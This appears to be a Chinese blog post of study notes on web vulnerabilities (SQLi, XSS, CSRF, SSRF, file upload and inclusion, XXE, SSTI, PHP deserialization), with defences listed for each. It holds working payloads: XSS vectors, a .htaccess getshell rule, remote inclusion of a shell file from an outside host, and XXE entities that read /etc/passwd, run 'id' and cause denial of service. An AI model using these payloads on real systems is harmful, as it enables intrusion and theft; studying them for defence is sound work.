网络安全基础漏洞复习

server/2024/9/20 3:54:17/ 标签: web安全, 安全

一.sql注入

Mysql自带了Information_schema这个数据库, 5.0以下是没有的

布尔盲注 时间盲注sleep 报错注入 堆叠注入(就是一下使用了两个SQL语句只不过使用 ; 来把他们分隔开)

报错常用函数:extractvalue updatexml exp

基于geometric的报错注入 floor

**宽字节注入**就是把url编码的字符按照gbk解码如果数据库使用gbk编码

%df 是 GBK 编码中的一个字节,表示一个宽字符的开始 因为gbk一个宽字符表示两个字节 可以利用这个来绕过addslashes函数转义

例如: %df’可以使单引号闭合从而绕过单引号转义

二次注入 就是先把恶意数据注入到程序中等程序执行的时候把数据存在数据库中当应用程序再次从数据库中读取这些数据时,恶意数据就会被读取出来,并执行恶意操作。

还有一个是利用x-forward-for(可以表示客户端的原始ip)

UDF提权

https://www.freebuf.com/articles/web/283566.html

UDF(User Defined Function,用户自定义函数)是MySQL提供的一个功能,可以通过编写DLL扩展为MySQL添加新函数,扩充其功能。

绕过

https://www.iodraw.com/blog/230537089 (没事了可以看看)

编码 大小写 重复写 例:(ununionion)

可以分割注入 缓冲区溢出

  • 一些C语言的WAF处理的字符串长度有限,超出某个长度后的payload可能不会被处理
  • 二次注入有长度限制时,通过多句执行的方法改掉数据库该字段的长度绕过
防护

预编译把参数和查询语句分离开这样可以防止语句闭合执行恶意操作

二、xss

xss类型

储存型 反射型 DOM型 (只是前端不涉及服务器)

危害

获取用户cookie

xss蠕虫(就是你浏览了一个含有xss的页面后 xss会复制更新到你的个人页面状态当下一个人浏览你受感染的页面后他也会被感染)

xss 内网扫描通过js脚本进行内网端口扫描

可以通过xss获取token进一步进行csrf

攻击方式

通过让页面加载URL进行xss

  • location=javascript:alert(/xss/)(这个只适用于页面get传参的时候)其余的get post均可
  • location.href=javascript:alert(/xss/)
  • location.assign(javascript:alert(/xss/))
  • location.replace(javascript:alert(/xss/))

image-20240612081623369

利用函数直接执行

  • eval(payload)
  • setTimeout(payload, 100)
  • setInterval(payload, 100)
  • Function(payload)()其中的()表示立即执行前面的函数
  • <script>payload</script>
  • <img src=x onerror=payload>(利用html事件)

直接执行html(这个功能的实现需要页面具有相关的属性和功能)

  • xx.innerHTML=payload
  • xx.outerHTML=payload
  • document.write(payload)
  • document.writeln(payload)
防护

1.使用白名单或者黑名单直接过滤

2.使用一些浏览器的防护机制 如果在检测到了一些恶意代码在html中它会转义或者直接删掉

3.csp定义哪些资源可以被当前页面加载减少xss发生

(同源策略不能限制同一源的但是csp可以直接指定了哪些来源的资源不能或能加载)

三、CSRF

XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。

可以通过referer头来检验该网站是否存在csrf去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞

CSRF与XSS的区别:最大的区别就是CSRF没有盗取用户的Cookie,而是直接的利用了浏览器的Cookie让用户去执行某个动作

绕过

referer检测绕过:通过代码审计来绕

token绕过:先通过xss获取用户token

​ 直接让token为空(或者也许以为代码逻辑的问题只有token参数不为空的时候才检查token的有效性)

防御
  • 通过CSRF-token 或 验证码来检测用户提交
  • 验证 Referer
  • 避免全站通用的Cookie,严格设置Cookie的域

四、SSRF

实现功能

SSRF可以对服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件。

利用方式

可以以目标服务器所信任的一个服务器为跳板进行攻击

以curl为例, 可以使用dict协议操作Redis、file协议读文件、gopher协议反弹Shell等功能

注意:在使用gopher时如果使用工具生成由ASCII编码的tcp流要url编码避免在传输的过程中出错

危险函数

相关的危险函数 file_get_contents()/fsockopen()/curl_exec()

相关绕过

相关绕过

相关域名绕过:

对于这种过滤我们采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址可以被改写成:

  • 8进制格式:0300.0250.0.1
  • 16进制格式:0xC0.0xA8.0.1
  • 10进制整数格式:3232235521
  • 16进制整数格式:0xC0A80001
  • 合并后两位:1.1.278 / 1.1.755
  • 合并后三位:1.278 / 1.755 / 3.14159267

另外IP中的每一位,各个进制可以混用。

访问改写后的IP地址时,Apache会报400 Bad Request,但Nginx、MySQL等其他服务仍能正常工作。

另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。

使用idn(国际化域名)

一些网络访问工具如Curl等是支持国际化域名例如 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜexample.com 等同。利用这种方式,可以用 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ 等字符绕过内网限制

dns重绑定 可以通过同源策略(有时间去看看自己的博客)

防护:
  • 限制请求的端口
  • 禁止不常用的协议
  • 使用DNS缓存或者Host白名单

image-20240612215001371

五、文件上传

文件类型检测绕过

如果网站仅仅只是通过前端检测文件类型那么可以直接修改请求头比如content-type

Magic检测绕过

站点使用文件头来检测文件类型,这种检查可以在Shell前加入对应的字节以绕过检查

如:

ÿØÿ<?phpecho "Hello, world!";

至于加什么文件头可以在010editor中看

后缀绕过

系统命名绕过

image-20240613194926102

user.ini

user.ini 中可以定义除了PHP_INI_SYSTEM以外的模式的选项,故可以使用 .user.ini 加上非php后缀的文件构造一个shell,比如 auto_prepend_file=01.gif (表示在执行任何php脚本之前自动包含指定文件)

WAF绕过

有的waf在编写过程中考虑到性能原因,只处理一部分数据,这时可以通过加入大量垃圾数据来绕过其处理函数。

另外,Waf和Web系统对 boundary 的处理不一致,可以使用错误的 boundary 来完成绕过。(boundary是用来分割表单数据和文件内容)

竞争上传绕过

有的服务器采用了先保存,再删除不合法文件的方式,在这种服务器中,可以反复上传一个会生成Web Shell的文件并尝试访问,多次之后即可获得Shell。(是利用它没有来的删的shell)

过黑名单

攻击技巧

Apache重写GetShell

如果页面可以上传.htaccess就可以上传.htaccess

内容为

AddType application/x-httpd-php .png
php_flag engine 1

就可以用png或者其他后缀的文件做php脚本了

软链接任意读文件

archive.zip
├── normal_file.txt
└── symlink_to_sensitive_file -> /etc/passwd

软连接方法ln -s /etc/passwd symlink_to_sensitive_file

这条命令会在当前目录下创建一个名为 symlink_to_sensitive_file 的符号链接,它指向 /etc/passwd 文件

如果页面可以上传压缩文件当这个文件在目标数据库被解压的时候symlink_to_sensitive_file这个文件会指向/etc/passwd目录如果没有对解压操作处理的话 可实现任意文件读取的效果

防护技巧

  • 使用白名单限制上传文件的类型
  • 使用更严格的文件类型检查方式
  • 限制Web Server对上传文件夹的解析

过白名单

%00截断

前提:

  • php版本小于5.3.29
  • magic_quotes_gpc = Off(自动转义传入的 GET、POST 和 COOKIE 数据中的特殊字符)

六、文件包含

基础

常见的文件包含漏洞的形式为 <?php include("inc/" . $_GET['file']); ?>

考虑常用的几种包含方式为

  • 同目录包含 file=.htaccess
  • 目录遍历 ?file=../../../../../../../../../var/lib/locate.db
  • 日志注入 ?file=../../../../../../../../../var/log/apache/error.log
  • 利用 /proc/self/environ

其中日志可以使用SSH日志或者Web日志等多种日志来源测试

  • PHP

    include在包含过程中出错会报错,不影响执行后续语句

    include_once仅包含一次

    require在包含过程中出错,就会直接退出,不执行后续语句

    require_once

绕过技巧

常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式

url编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

特殊字符绕过

  • 某些情况下,读文件支持使用Shell通配符,如 ? *
  • url中 使用 ? # 可能会影响include包含的结果
  • 某些情况下,unicode编码不同但是字形相近的字符有同一个效果

%00截断

几乎是最常用的方法,条件是 magic_quotes_gpc 关闭,而且php版本小于5.3.4。

image-20240614204429443

长度截断

在php代码包含中,这种绕过方式要求php版本 < php 5.2.8

Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。

msdn定义 #define MAX_PATH 260,其中第260个字符为字符串结尾的 \0

linux可以用getconf来判断文件名长度限制和文件路径长度限制

在linux相关获取命令如下:

获取最长文件路径长度:getconf PATH_MAX /root 得到4096

获取最长文件名:getconf NAME_MAX /root 得到255

路径长度截断

漏洞利用条件
  • Windows下最大路径长度为256B
  • Linux下最大路径长度为4096B

示例代码

<?php$file=$_GET['file'];include ($file.".html");
?>

测试结果

输入测试以下代码:

http://www.abc.com/xxx/file.php?file=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

执行后发现已经成功截断了后面的拓展名.html

点号截断文件

点号截断包含只使用与Windows系统,点号的长度大于256B的时候,就可以造成拓展名截断

示例代码

<?php$file=$_GET['file'];include ($file.".html");
?>

测试结果

http://www.abc.com/xxx/file.php?file=test.txt.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

发现已经成功截断了html拓展名

伪协议绕过
  • 远程包含: 要求 allow_url_fopen=Onallow_url_include=On , payload为 http://example.com/vulnerable.php?file=http://websec.wordpress.com/shell.txt 的形式

  • PHP input: 把payload放在POST参数中作为包含的文件,要求 allow_url_include=On ,payload为 ?file=php://input 的形式(get传?file=php://input post直接传文件或恶意代码(没有参数名))

  • Base64: 使用Base64伪协议**读取文件**,payload为 http://example.com/vulnerable.php?file=php://filter/convert.base64-encode/resource=index.php 的形式

    php://filter/convert.base64-encode/resource= 是 PHP 的一个伪协议,用于对文件内容进行 Base64 编码。

  • data: 使用data伪协议注入恶意代码,payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 的形式,(其中text/plain;表示数据的传输类型)要求 allow_url_include=On

防护技巧

1.配置:

allow_url_include = Off
allow_url_fopen = Off

2.设置白名单 仅允许包含特定目录或文件

七、XXE

xxe其实也可以根据存储位置的不同分成存储型xxe和反射型xxe

xxe可以实现的功能有:(1)可以使一个站点拒绝服务(2)文件读取(3)SSRF(4)RCE(5)XInclude[xml包含]

攻击方式
拒绝服务攻击
<!DOCTYPE data [
<!ELEMENT data (#ANY)   <!-- #ANY表示元素data可以包含任意类型的内容 -->
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>

我们从以上代码中可以看出在实体a1;a0;中引用了上面的a0中的内容dos因为是一层层套进去的所以解析过程会占用大量资源从而使站点无法提供服务

若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。

文件读取
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

其中的file://协议允许通过指定文件的路径来访问本地文件系统中的文件(可以是相对文件路径)然后会在&file实体引用中读取出文件的内容

XXE实现SSRF可以不用中间服务器作为跳板
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>

可将其发送到一个服务器上便可以去探测这个内网服务器的端口是否开放

其中的SYSTEM关键字用于指示实体是一个外部资源的url 【而不是一个内部的文本实体 这意味着 xxe 实体将通过网络协议(比如 HTTP)去获取数据,而不是简单地插入一个预定义的文本片段]】

其中http://publicServer.com/是内网的一个url也可以带上端口 当解析这段xml的时候会向 内网urlhttp://publicServer.com/发起请求

如果端口开放则会返回4 如果请求失败就不会返回4

RCE
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog><core id="cat /etc/passwd"><description>&xxe;</description></core>
</catalog>

其中的要点是使用expect://协议它可以执行系统命令具体是什么系统的命令就取决于目标服务器是什么系统了

XInclude
<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include>
</data>

其中xmlns:xi="http://www.w3.org/2001/XInclude" 声明了 XInclude 的命名空间,使得 <xi:include> 元素能够在 XML 文档中被识别和处理

解析器会访问http://publicServer.com/file.xml并将其包含在内

防护技巧

设置以使DTD和外部实体引用无效

停止实体引用功能

image-20240615201746208

八、SSTI(只学了php的)

模板引擎是用来生成动态网页内容的工具,而框架是用于构建和组织应用程序的整体架构和工具集

SSTI(Server-Side Template Injection)是一种服务器端模板注入漏洞,它出现在使用模板引擎的Web应用程序中。模板引擎是一种将动态数据与静态模板结合生成最终输出的工具。然而,如果在构建模板时未正确处理用户输入,就可能导致SSTI漏洞的产生。

sql注入的成因是:当后端脚本语言进行数据库查询时,可以构造输入语句来进行拼接,从而实现恶意sql查询。

SSTI与其相似,服务端将输入作为web应用模板内容的一部分,在进行目标编译渲染的过程中,拼接了恶意语句,因此造成敏感信息泄露、远程命令执行等问题。

攻击方式

先要去确定是什么模板 依据下图即可:

image-20240619205233797

类的利用

常用类

https://blog.csdn.net/2301_77485708/article/details/132467976

有过滤情况

绕过.

1.使用中括号[]绕过

2.使用attr()绕过

绕过单双引号

1.request绕过

2.chr绕过

绕过关键字

1.使用切片将逆置的关键字顺序输出,进而达到绕过

2.利用"+"进行字符串拼接,绕过关键字过滤

3.join拼接

4.利用引号绕过

5.使用str原生函数replace替换

6.ascii转换

7.16进制编码绕过

8.base64编码绕过

9.unicode编码绕过

10.Hex编码绕过

绕过init

可以用__enter____exit__替代__init__

九、反序列化

漏洞成因

反序列化漏洞产生的原因我个人总结就是反序列化处的参数用户可控,服务器接收我们序列化后的字符串并且未经过滤把其中的变量放入一些魔术方法里面执行,这就很容易产生漏洞。

魔术方法是

魔术方法命名是以符号开头的,比如 construct, destruct, toString, sleep, wakeup等等。这些函数在某些情况下会自动调用。

  • __construct():具有构造函数的类会在每次创建新对象时先调用此方法。
  • __destruct():析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
  • __toString()方法用于一个类被当成字符串时应怎样回应。例如echo $obj;应该显示些什么。 此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
  • __sleep()方法在一个对象被序列化之前调用;
  • __wakeup():unserialize( )会检查是否存在一个_wakeup( )方法。如果存在,则会先调用_wakeup方法,预先准备对象需要的资源。
  • **get(),**set() 当调用或设置一个类及其父类方法中未定义的属性时
  • __invoke() 调用函数的方式调用一个对象时的回应方法
  • call 和 callStatic前者是调用类不存在的方法时执行,而后者是调用类不存在的静态方式方法时执行。
魔术方法是

魔术方法命名是以符号开头的,比如 construct, destruct, toString, sleep, wakeup等等。这些函数在某些情况下会自动调用。

  • __construct():具有构造函数的类会在每次创建新对象时先调用此方法。
  • __destruct():析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
  • __toString()方法用于一个类被当成字符串时应怎样回应。例如echo $obj;应该显示些什么。 此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
  • __sleep()方法在一个对象被序列化之前调用;
  • __wakeup():unserialize( )会检查是否存在一个_wakeup( )方法。如果存在,则会先调用_wakeup方法,预先准备对象需要的资源。
  • **get(),**set() 当调用或设置一个类及其父类方法中未定义的属性时
  • __invoke() 调用函数的方式调用一个对象时的回应方法
  • call 和 callStatic前者是调用类不存在的方法时执行,而后者是调用类不存在的静态方式方法时执行。

http://www.ppmy.cn/server/51058.html

相关文章

不同类型的Shell脚本

大家好&#xff0c;我是G探险者。 在linux里面执行某个shell脚本的时候&#xff0c;发现执行不了&#xff0c;说什么不兼容&#xff0c;研究了一下发现shell脚本也有这么多的类型&#xff0c;下面就简单聊聊。 简介 Shell脚本是一种用于自动化任务的强大工具&#xff0c;广泛…

开发一个python工具,pdf转图片,并且截成单个图片,然后修整没用的白边及循环遍历文件夹全量压缩图片

今天推荐一键款本人开发的pdf转单张图片并截取没有用的白边工具 一、开发背景&#xff1a; 业务需要将一个pdf文件展示在前端显示&#xff0c;但是基于各种原因&#xff0c;放弃了h5使用插件展示 原因有多个&#xff0c;文件资源太大加载太慢、pdf展示兼容性问题、pdf展示效果…

3D模型在电商行业的应用有哪些?

3D模型在电商行业的应用广泛且多样化&#xff0c;以下是几个主要的应用领域&#xff1a; 1、商品展示&#xff1a; 3D立体展示技术能够利用商品的3D模型进行全方位的展示&#xff0c;支持720旋转和任意缩放&#xff0c;使得消费者能够更直观地了解产品的外观、结构和特点。这…

Spring Boot常用注解

EnableAutoConfiguration: 作用自动扫描并添加jar包依赖 SpringBootApplication: 原理是一个组合注解&#xff0c;相当于EnableAutoConfiguration和ComponentScan RestController: 用于标注控制层组件(如struts中的action)&#xff0c;包含Controller和ResponseBody Reposit…

排序(2)【选择排序】【快速排序】

一.选择排序 选择排序就是选择一个数组的最大的数字或者最小的数字&#xff0c;放在一整个数组的最后或者开头的位置。 1.选择排序的实现 我们可以对选择排序进行一些加强&#xff0c;普通的选择排序是选择最小的数&#xff0c;然后进行交换。这个加强之后就是我们既要选择出…

支付宝H5支付

业务场景&#xff1a;需要再手机端H5使用支付宝的支付&#xff01; 第一步&#xff1a; 开通支付宝商户,支付宝开放平台地址放在这里了。 第二步&#xff1a; 创建应用开通支付产品功能&#xff1a; 创建应用就不单一切图了&#xff01;登录账户-管理中心就能看到-选择网页…

微信小程序知识点概况

1. 基本概念 微信小程序&#xff1a;是一种新的开放能力&#xff0c;开发者可以快速地开发一个小程序。小程序能够在微信内被便捷地获取和传播&#xff0c;同时具有出色的使用体验。 特点&#xff1a; 无需安装&#xff1a;用户通过扫描二维码或搜索即可使用。触手可及&…

主流后端开发语言对比

软件开发领域&#xff0c;语言本身在各自领域都有适用场景&#xff0c;有许多流行的编程语言可供选择&#xff0c;每种语言都有其独特的特点和适用场景。 Java、C、C、Go 、Python、C#、Ruby、PHP 等主流编程语言&#xff0c;从底层实现、效率、原理、国内外市场占有率、社区活…

python项目(课设)——飞机大战小游戏项目源码(pygame)

主程序 import pygame from plane_sprites import * class PlaneGame: """ 游戏类 """ def __init__(self): print("游戏初始化") # 初始化字体模块 pygame.font.init() # 创建游戏…

Centos+Jenkins+Maven+Git 将生成的JAR部署到远程服务器上

1、登录 没有安装的参考下面的安装步骤先安装: Jenkins安装手册 输入账号、密码登录系统。 2、新建任务 2.1 创建页面 1,“输入一个任务名称”; 2,任务类型点击“构建一个maven项目”; 3,点击“确定”,此时,构建任务创建完成。 2.2 General 1、描述:输入要部署…

通用大模型VS垂直大模型

通用大模型VS垂直大模型&#xff0c;你更青睐哪一方&#xff1f; 在当前AI大模型的竞争环境中&#xff0c;通用大模型和垂直大模型各有其独特的优势和挑战&#xff0c;选择哪一方更有前景需要考虑多方面因素。 通用大模型的优势与挑战 通用大模型如GPT-3、BERT等在自然语言处理…

MFC工控项目实例之五CFile类读写系统参数

承接专栏《MFC工控项目实例之四在调试目录下创建指定文件夹》 实时保存输入的iPlotX坐标轴最小值、最大值到CFG.PAR文件&#xff0c;打开界面从CFG.PAR文件中实时读取保存的最小值、最大值在编辑框中显示。 1、SEAL_PRESSURE.h中添加代码 class CSEAL_PRESSUREApp : public CW…

LeetCode 58. 最后一个单词的长度

LeetCode 58. 最后一个单词的长度 你一个字符串 s&#xff0c;由若干单词组成&#xff0c;单词前后用一些空格字符隔开。返回字符串中 最后一个 单词的长度。 单词 是指仅由字母组成、不包含任何空格字符的最大子字符串 示例 1&#xff1a; 输入&#xff1a;s “Hello World”…

鸿蒙开发学习随记(1)——ArkTS基础语言学习

目录 变量与常量 数组 函数 常规函数 箭头函数 接口与对象 联合体 枚举类型 变量与常量 在ArkTS语言中有三种常见的数据类型&#xff1a;number,string,boolean。 变量这样声明定义&#xff1a; //变量命名let name:string "zhangsan"//let是一个关键字声明…

Mac电脑FTP客户端推荐:Transmit 5 for Mac 中文版

Transmit 5是一款专为macOS平台设计的功能强大的FTP&#xff08;文件传输协议&#xff09;客户端软件。Transmit 5凭借其强大的功能、直观易用的界面和高效的性能&#xff0c;成为需要频繁进行文件传输和管理的个人用户和专业用户的理想选择。无论是对于新手还是经验丰富的用户…

kafka安装部署之资源评估

目录 1、环境资源评估 1.1、操作系统评估 1.2、磁盘评估 1.2.1、磁盘选型评估 1.2.1.1、磁盘类型评估 1.2.1.1、磁盘构成评估 1.2.2、磁盘容量评估 1.3、内存评估 1.4、CPU评估 1.5、带宽评估 1.6、常见线上资源配置 2、安装流程 2.1、安装jdk 2.2、安装zookeepe…

理解查准率P、查全率R及Fβ度量怎么得来的

如果得到的是一组样本在两个算法上的一次预测结果&#xff0c;其中每个样本都被赋予了一个为正样本的概率&#xff08;例如&#xff0c;通过逻辑回归或朴素贝叶斯分类器得到的概率估计&#xff09;&#xff0c;那么可以通过改变不同的阈值点来利用这些预测结果画出PR曲线。 如果…

AGI大辩论,AI安全等级,Sora团队访谈,AI民科,AI提升编程效率

更多内容&#xff1a; https://agifun.love 智源社区 ICML 2024 | 具有动态目标感知片段的药物发现 今天为大家介绍的是来自Sung Ju Hwang团队的一篇论文。基于片段的药物发现是一种在广阔的化学空间中发现药物候选物的有效策略&#xff0c;并已广泛应用于分子生成模型。然而…

普通校验和

校验和是一种用于验证数据完整性的方法&#xff0c;通常包含普通校验和和复杂校验和。这里主要说明普通校验和。 普通校验和&#xff1a;简单&#xff0c;快速&#xff0c;如IPv4协议复杂校验和&#xff1a;复杂&#xff0c;较慢&#xff0c;如文件验证 普通校验和 以16位为…

如何备份和恢复 Docker Desktop 数据

如何备份和恢复 Docker Desktop 数据 在使用 Docker Desktop 进行开发和部署时&#xff0c;备份和恢复 Docker 数据是非常重要的。本文将详细介绍如何在 Docker Desktop 中备份和恢复数据&#xff0c;确保您的容器和相关数据在任何情况下都能得到保护。 为什么需要备份和恢复…